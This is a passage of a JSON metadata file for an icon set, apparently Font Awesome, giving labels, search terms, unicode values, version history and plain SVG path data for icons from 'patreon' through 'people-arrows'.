        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M80 96v16c0 17.7 14.3 32 32 32h60.8c16.6-28.7 47.6-48 83.2-48h62c-7.1-27.6-32.2-48-62-48H215.4C211.6 20.9 188.2 0 160 0s-51.6 20.9-55.4 48H64C28.7 48 0 76.7 0 112V384c0 35.3 28.7 64 64 64h96V400H64c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H80zm64-40a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM256 464c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H384v48c0 17.7 14.3 32 32 32h48V448c0 8.8-7.2 16-16 16H256zm192 48c35.3 0 64-28.7 64-64V227.9c0-12.7-5.1-24.9-14.1-33.9l-51.9-51.9c-9-9-21.2-14.1-33.9-14.1H256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M80 96v16c0 17.7 14.3 32 32 32h60.8c16.6-28.7 47.6-48 83.2-48h62c-7.1-27.6-32.2-48-62-48H215.4C211.6 20.9 188.2 0 160 0s-51.6 20.9-55.4 48H64C28.7 48 0 76.7 0 112V384c0 35.3 28.7 64 64 64h96V400H64c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H80zm64-40a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM256 464c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H384v48c0 17.7 14.3 32 32 32h48V448c0 8.8-7.2 16-16 16H256zm192 48c35.3 0 64-28.7 64-64V227.9c0-12.7-5.1-24.9-14.1-33.9l-51.9-51.9c-9-9-21.2-14.1-33.9-14.1H256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448z"
      }
    },
    "free": ["regular", "solid"]
  },
  "patreon": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d9",
    "label": "Patreon",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z"
      }
    },
    "free": ["brands"]
  },
  "pause": {
    "aliases": {
      "unicodes": {
        "composite": ["23f8"],
        "secondary": ["10f04c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bar",
        "double",
        "hold",
        "pause",
        "pause button",
        "vertical",
        "wait"
      ]
    },
    "styles": ["solid"],
    "unicode": "f04c",
    "label": "Pause",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M48 64C21.5 64 0 85.5 0 112V400c0 26.5 21.5 48 48 48H80c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zm192 0c-26.5 0-48 21.5-48 48V400c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H240z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M48 64C21.5 64 0 85.5 0 112V400c0 26.5 21.5 48 48 48H80c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zm192 0c-26.5 0-48 21.5-48 48V400c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H240z"
      }
    },
    "free": ["solid"]
  },
  "paw": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1b0"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["animal", "cat", "dog", "pet", "print"]
    },
    "styles": ["solid"],
    "unicode": "f1b0",
    "label": "Paw",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M226.5 92.9c14.3 42.9-.3 86.2-32.6 96.8s-70.1-15.6-84.4-58.5s.3-86.2 32.6-96.8s70.1 15.6 84.4 58.5zM100.4 198.6c18.9 32.4 14.3 70.1-10.2 84.1s-59.7-.9-78.5-33.3S-2.7 179.3 21.8 165.3s59.7 .9 78.5 33.3zM69.2 401.2C121.6 259.9 214.7 224 256 224s134.4 35.9 186.8 177.2c3.6 9.7 5.2 20.1 5.2 30.5v1.6c0 25.8-20.9 46.7-46.7 46.7c-11.5 0-22.9-1.4-34-4.2l-88-22c-15.3-3.8-31.3-3.8-46.6 0l-88 22c-11.1 2.8-22.5 4.2-34 4.2C84.9 480 64 459.1 64 433.3v-1.6c0-10.4 1.6-20.8 5.2-30.5zM421.8 282.7c-24.5-14-29.1-51.7-10.2-84.1s54-47.3 78.5-33.3s29.1 51.7 10.2 84.1s-54 47.3-78.5 33.3zM310.1 189.7c-32.3-10.6-46.9-53.9-32.6-96.8s52.1-69.1 84.4-58.5s46.9 53.9 32.6 96.8s-52.1 69.1-84.4 58.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M226.5 92.9c14.3 42.9-.3 86.2-32.6 96.8s-70.1-15.6-84.4-58.5s.3-86.2 32.6-96.8s70.1 15.6 84.4 58.5zM100.4 198.6c18.9 32.4 14.3 70.1-10.2 84.1s-59.7-.9-78.5-33.3S-2.7 179.3 21.8 165.3s59.7 .9 78.5 33.3zM69.2 401.2C121.6 259.9 214.7 224 256 224s134.4 35.9 186.8 177.2c3.6 9.7 5.2 20.1 5.2 30.5v1.6c0 25.8-20.9 46.7-46.7 46.7c-11.5 0-22.9-1.4-34-4.2l-88-22c-15.3-3.8-31.3-3.8-46.6 0l-88 22c-11.1 2.8-22.5 4.2-34 4.2C84.9 480 64 459.1 64 433.3v-1.6c0-10.4 1.6-20.8 5.2-30.5zM421.8 282.7c-24.5-14-29.1-51.7-10.2-84.1s54-47.3 78.5-33.3s29.1 51.7 10.2 84.1s-54 47.3-78.5 33.3zM310.1 189.7c-32.3-10.6-46.9-53.9-32.6-96.8s52.1-69.1 84.4-58.5s46.9 53.9 32.6 96.8s-52.1 69.1-84.4 58.5z"
      }
    },
    "free": ["solid"]
  },
  "paypal": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1ed",
    "label": "Paypal",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z"
      }
    },
    "free": ["brands"]
  },
  "peace": {
    "aliases": {
      "unicodes": {
        "composite": ["262e"],
        "secondary": ["10f67c"]
      }
    },
    "changes": [
      "5.3.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "peace",
        "peace symbol",
        "serenity",
        "tranquility",
        "truce",
        "war"
      ]
    },
    "styles": ["solid"],
    "unicode": "f67c",
    "label": "Peace",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 445.3V323.5l-94.3 77.1c26.1 22.8 58.5 38.7 94.3 44.7zM89.2 351.1L224 240.8V66.7C133.2 81.9 64 160.9 64 256c0 34.6 9.2 67.1 25.2 95.1zm293.1 49.5L288 323.5V445.3c35.7-6 68.1-21.9 94.3-44.7zm40.6-49.5c16-28 25.2-60.5 25.2-95.1c0-95.1-69.2-174.1-160-189.3V240.8L422.8 351.1zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 445.3V323.5l-94.3 77.1c26.1 22.8 58.5 38.7 94.3 44.7zM89.2 351.1L224 240.8V66.7C133.2 81.9 64 160.9 64 256c0 34.6 9.2 67.1 25.2 95.1zm293.1 49.5L288 323.5V445.3c35.7-6 68.1-21.9 94.3-44.7zm40.6-49.5c16-28 25.2-60.5 25.2-95.1c0-95.1-69.2-174.1-160-189.3V240.8L422.8 351.1zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "pen": {
    "aliases": {
      "unicodes": {
        "composite": ["1f58a"],
        "secondary": ["10f304"]
      }
    },
    "changes": [
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ballpoint", "design", "edit", "pen", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f304",
    "label": "Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M362.7 19.3L314.3 67.7 444.3 197.7l48.4-48.4c25-25 25-65.5 0-90.5L453.3 19.3c-25-25-65.5-25-90.5 0zm-71 71L58.6 323.5c-10.4 10.4-18 23.3-22.2 37.4L1 481.2C-1.5 489.7 .8 498.8 7 505s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L421.7 220.3 291.7 90.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M362.7 19.3L314.3 67.7 444.3 197.7l48.4-48.4c25-25 25-65.5 0-90.5L453.3 19.3c-25-25-65.5-25-90.5 0zm-71 71L58.6 323.5c-10.4 10.4-18 23.3-22.2 37.4L1 481.2C-1.5 489.7 .8 498.8 7 505s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L421.7 220.3 291.7 90.3z"
      }
    },
    "free": ["solid"]
  },
  "pen-clip": {
    "aliases": {
      "names": ["pen-alt"],
      "unicodes": {
        "secondary": ["10f305"]
      }
    },
    "changes": [
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["design", "edit", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f305",
    "label": "Pen Clip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M453.3 19.3l39.4 39.4c25 25 25 65.5 0 90.5l-52.1 52.1 0 0-1-1 0 0-16-16-96-96-17-17 52.1-52.1c25-25 65.5-25 90.5 0zM241 114.9c-9.4-9.4-24.6-9.4-33.9 0L105 217c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L173.1 81c28.1-28.1 73.7-28.1 101.8 0L288 94.1l17 17 96 96 16 16 1 1-17 17L229.5 412.5c-48 48-109.2 80.8-175.8 94.1l-25 5c-7.9 1.6-16-.9-21.7-6.6s-8.1-13.8-6.6-21.7l5-25c13.3-66.6 46.1-127.8 94.1-175.8L254.1 128 241 114.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M453.3 19.3l39.4 39.4c25 25 25 65.5 0 90.5l-52.1 52.1 0 0-1-1 0 0-16-16-96-96-17-17 52.1-52.1c25-25 65.5-25 90.5 0zM241 114.9c-9.4-9.4-24.6-9.4-33.9 0L105 217c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L173.1 81c28.1-28.1 73.7-28.1 101.8 0L288 94.1l17 17 96 96 16 16 1 1-17 17L229.5 412.5c-48 48-109.2 80.8-175.8 94.1l-25 5c-7.9 1.6-16-.9-21.7-6.6s-8.1-13.8-6.6-21.7l5-25c13.3-66.6 46.1-127.8 94.1-175.8L254.1 128 241 114.9z"
      }
    },
    "free": ["solid"]
  },
  "pen-fancy": {
    "aliases": {
      "unicodes": {
        "composite": ["1f58b", "2712"],
        "secondary": ["10f5ac"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "black nib",
        "design",
        "edit",
        "fountain",
        "fountain pen",
        "nib",
        "pen",
        "update",
        "write"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5ac",
    "label": "Pen Fancy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M373.5 27.1C388.5 9.9 410.2 0 433 0c43.6 0 79 35.4 79 79c0 22.8-9.9 44.6-27.1 59.6L277.7 319l-10.3-10.3-64-64L193 234.3 373.5 27.1zM170.3 256.9l10.4 10.4 64 64 10.4 10.4-19.2 83.4c-3.9 17.1-16.9 30.7-33.8 35.4L24.4 510.3l95.4-95.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3L1.7 487.6 51.5 310c4.7-16.9 18.3-29.9 35.4-33.8l83.4-19.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M373.5 27.1C388.5 9.9 410.2 0 433 0c43.6 0 79 35.4 79 79c0 22.8-9.9 44.6-27.1 59.6L277.7 319l-10.3-10.3-64-64L193 234.3 373.5 27.1zM170.3 256.9l10.4 10.4 64 64 10.4 10.4-19.2 83.4c-3.9 17.1-16.9 30.7-33.8 35.4L24.4 510.3l95.4-95.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3L1.7 487.6 51.5 310c4.7-16.9 18.3-29.9 35.4-33.8l83.4-19.2z"
      }
    },
    "free": ["solid"]
  },
  "pen-nib": {
    "aliases": {
      "unicodes": {
        "composite": ["2711"],
        "secondary": ["10f5ad"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "edit", "fountain pen", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f5ad",
    "label": "Pen Nib",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M368.4 18.3L312.7 74.1 437.9 199.3l55.7-55.7c21.9-21.9 21.9-57.3 0-79.2L447.6 18.3c-21.9-21.9-57.3-21.9-79.2 0zM288 94.6l-9.2 2.8L134.7 140.6c-19.9 6-35.7 21.2-42.3 41L3.8 445.8c-3.8 11.3-1 23.9 7.3 32.4L164.7 324.7c-3-6.3-4.7-13.3-4.7-20.7c0-26.5 21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48c-7.4 0-14.4-1.7-20.7-4.7L33.7 500.9c8.6 8.3 21.1 11.2 32.4 7.3l264.3-88.6c19.7-6.6 35-22.4 41-42.3l43.2-144.1 2.8-9.2L288 94.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M368.4 18.3L312.7 74.1 437.9 199.3l55.7-55.7c21.9-21.9 21.9-57.3 0-79.2L447.6 18.3c-21.9-21.9-57.3-21.9-79.2 0zM288 94.6l-9.2 2.8L134.7 140.6c-19.9 6-35.7 21.2-42.3 41L3.8 445.8c-3.8 11.3-1 23.9 7.3 32.4L164.7 324.7c-3-6.3-4.7-13.3-4.7-20.7c0-26.5 21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48c-7.4 0-14.4-1.7-20.7-4.7L33.7 500.9c8.6 8.3 21.1 11.2 32.4 7.3l264.3-88.6c19.7-6.6 35-22.4 41-42.3l43.2-144.1 2.8-9.2L288 94.6z"
      }
    },
    "free": ["solid"]
  },
  "pen-ruler": {
    "aliases": {
      "names": ["pencil-ruler"],
      "unicodes": {
        "secondary": ["10f5ae"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "draw", "pencil"]
    },
    "styles": ["solid"],
    "unicode": "f5ae",
    "label": "Pen Ruler",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M469.3 19.3l23.4 23.4c25 25 25 65.5 0 90.5l-56.4 56.4L322.3 75.7l56.4-56.4c25-25 65.5-25 90.5 0zM44.9 353.2L299.7 98.3 413.7 212.3 158.8 467.1c-6.7 6.7-15.1 11.6-24.2 14.2l-104 29.7c-8.4 2.4-17.4 .1-23.6-6.1s-8.5-15.2-6.1-23.6l29.7-104c2.6-9.2 7.5-17.5 14.2-24.2zM249.4 103.4L103.4 249.4 16 161.9c-18.7-18.7-18.7-49.1 0-67.9L94.1 16c18.7-18.7 49.1-18.7 67.9 0l19.8 19.8c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1l45.1 45.1zM408.6 262.6l45.1 45.1c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1L496 350.1c18.7 18.7 18.7 49.1 0 67.9L417.9 496c-18.7 18.7-49.1 18.7-67.9 0l-87.4-87.4L408.6 262.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M469.3 19.3l23.4 23.4c25 25 25 65.5 0 90.5l-56.4 56.4L322.3 75.7l56.4-56.4c25-25 65.5-25 90.5 0zM44.9 353.2L299.7 98.3 413.7 212.3 158.8 467.1c-6.7 6.7-15.1 11.6-24.2 14.2l-104 29.7c-8.4 2.4-17.4 .1-23.6-6.1s-8.5-15.2-6.1-23.6l29.7-104c2.6-9.2 7.5-17.5 14.2-24.2zM249.4 103.4L103.4 249.4 16 161.9c-18.7-18.7-18.7-49.1 0-67.9L94.1 16c18.7-18.7 49.1-18.7 67.9 0l19.8 19.8c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1l45.1 45.1zM408.6 262.6l45.1 45.1c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1L496 350.1c18.7 18.7 18.7 49.1 0 67.9L417.9 496c-18.7 18.7-49.1 18.7-67.9 0l-87.4-87.4L408.6 262.6z"
      }
    },
    "free": ["solid"]
  },
  "pen-to-square": {
    "aliases": {
      "names": ["edit"],
      "unicodes": {
        "secondary": ["10f044"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "pen", "pencil", "update", "write"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f044",
    "label": "Pen To Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M471.6 21.7c-21.9-21.9-57.3-21.9-79.2 0L362.3 51.7l97.9 97.9 30.1-30.1c21.9-21.9 21.9-57.3 0-79.2L471.6 21.7zm-299.2 220c-6.1 6.1-10.8 13.6-13.5 21.9l-29.6 88.8c-2.9 8.6-.6 18.1 5.8 24.6s15.9 8.7 24.6 5.8l88.8-29.6c8.2-2.7 15.7-7.4 21.9-13.5L437.7 172.3 339.7 74.3 172.4 241.7zM96 64C43 64 0 107 0 160V416c0 53 43 96 96 96H352c53 0 96-43 96-96V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M471.6 21.7c-21.9-21.9-57.3-21.9-79.2 0L362.3 51.7l97.9 97.9 30.1-30.1c21.9-21.9 21.9-57.3 0-79.2L471.6 21.7zm-299.2 220c-6.1 6.1-10.8 13.6-13.5 21.9l-29.6 88.8c-2.9 8.6-.6 18.1 5.8 24.6s15.9 8.7 24.6 5.8l88.8-29.6c8.2-2.7 15.7-7.4 21.9-13.5L437.7 172.3 339.7 74.3 172.4 241.7zM96 64C43 64 0 107 0 160V416c0 53 43 96 96 96H352c53 0 96-43 96-96V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H96z"
      },
      "regular": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M441 58.9L453.1 71c9.4 9.4 9.4 24.6 0 33.9L424 134.1 377.9 88 407 58.9c9.4-9.4 24.6-9.4 33.9 0zM209.8 256.2L344 121.9 390.1 168 255.8 302.2c-2.9 2.9-6.5 5-10.4 6.1l-58.5 16.7 16.7-58.5c1.1-3.9 3.2-7.5 6.1-10.4zM373.1 25L175.8 222.2c-8.7 8.7-15 19.4-18.3 31.1l-28.6 100c-2.4 8.4-.1 17.4 6.1 23.6s15.2 8.5 23.6 6.1l100-28.6c11.8-3.4 22.5-9.7 31.1-18.3L487 138.9c28.1-28.1 28.1-73.7 0-101.8L474.9 25C446.8-3.1 401.2-3.1 373.1 25zM88 64C39.4 64 0 103.4 0 152V424c0 48.6 39.4 88 88 88H360c48.6 0 88-39.4 88-88V312c0-13.3-10.7-24-24-24s-24 10.7-24 24V424c0 22.1-17.9 40-40 40H88c-22.1 0-40-17.9-40-40V152c0-22.1 17.9-40 40-40H200c13.3 0 24-10.7 24-24s-10.7-24-24-24H88z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M441 58.9L453.1 71c9.4 9.4 9.4 24.6 0 33.9L424 134.1 377.9 88 407 58.9c9.4-9.4 24.6-9.4 33.9 0zM209.8 256.2L344 121.9 390.1 168 255.8 302.2c-2.9 2.9-6.5 5-10.4 6.1l-58.5 16.7 16.7-58.5c1.1-3.9 3.2-7.5 6.1-10.4zM373.1 25L175.8 222.2c-8.7 8.7-15 19.4-18.3 31.1l-28.6 100c-2.4 8.4-.1 17.4 6.1 23.6s15.2 8.5 23.6 6.1l100-28.6c11.8-3.4 22.5-9.7 31.1-18.3L487 138.9c28.1-28.1 28.1-73.7 0-101.8L474.9 25C446.8-3.1 401.2-3.1 373.1 25zM88 64C39.4 64 0 103.4 0 152V424c0 48.6 39.4 88 88 88H360c48.6 0 88-39.4 88-88V312c0-13.3-10.7-24-24-24s-24 10.7-24 24V424c0 22.1-17.9 40-40 40H88c-22.1 0-40-17.9-40-40V152c0-22.1 17.9-40 40-40H200c13.3 0 24-10.7 24-24s-10.7-24-24-24H88z"
      }
    },
    "free": ["regular", "solid"]
  },
  "pencil": {
    "aliases": {
      "names": ["pencil-alt"],
      "unicodes": {
        "composite": ["270f", "f040"],
        "primary": ["f040"],
        "secondary": ["10f040", "10f303"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Lower Left Pencil",
        "design",
        "draw",
        "edit",
        "lead",
        "pencil",
        "update",
        "write"
      ]
    },
    "styles": ["solid"],
    "unicode": "f303",
    "label": "Pencil",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M410.3 231l11.3-11.3-33.9-33.9-62.1-62.1L291.7 89.8l-11.3 11.3-22.6 22.6L58.6 322.9c-10.4 10.4-18 23.3-22.2 37.4L1 480.7c-2.5 8.4-.2 17.5 6.1 23.7s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L387.7 253.7 410.3 231zM160 399.4l-9.1 22.7c-4 3.1-8.5 5.4-13.3 6.9L59.4 452l23-78.1c1.4-4.9 3.8-9.4 6.9-13.3l22.7-9.1v32c0 8.8 7.2 16 16 16h32zM362.7 18.7L348.3 33.2 325.7 55.8 314.3 67.1l33.9 33.9 62.1 62.1 33.9 33.9 11.3-11.3 22.6-22.6 14.5-14.5c25-25 25-65.5 0-90.5L453.3 18.7c-25-25-65.5-25-90.5 0zm-47.4 168l-144 144c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l144-144c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M410.3 231l11.3-11.3-33.9-33.9-62.1-62.1L291.7 89.8l-11.3 11.3-22.6 22.6L58.6 322.9c-10.4 10.4-18 23.3-22.2 37.4L1 480.7c-2.5 8.4-.2 17.5 6.1 23.7s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L387.7 253.7 410.3 231zM160 399.4l-9.1 22.7c-4 3.1-8.5 5.4-13.3 6.9L59.4 452l23-78.1c1.4-4.9 3.8-9.4 6.9-13.3l22.7-9.1v32c0 8.8 7.2 16 16 16h32zM362.7 18.7L348.3 33.2 325.7 55.8 314.3 67.1l33.9 33.9 62.1 62.1 33.9 33.9 11.3-11.3 22.6-22.6 14.5-14.5c25-25 25-65.5 0-90.5L453.3 18.7c-25-25-65.5-25-90.5 0zm-47.4 168l-144 144c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l144-144c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "people-arrows": {
    "aliases": {
      "names": ["people-arrows-left-right"],
      "unicodes": {
        "secondary": ["10e068"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "distance",
        "isolation",
        "separate",
        "social distancing",
        "users-people"
      ]
    },
    "styles": ["solid"],
    "unicode": "e068",
    "label": "People Arrows",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
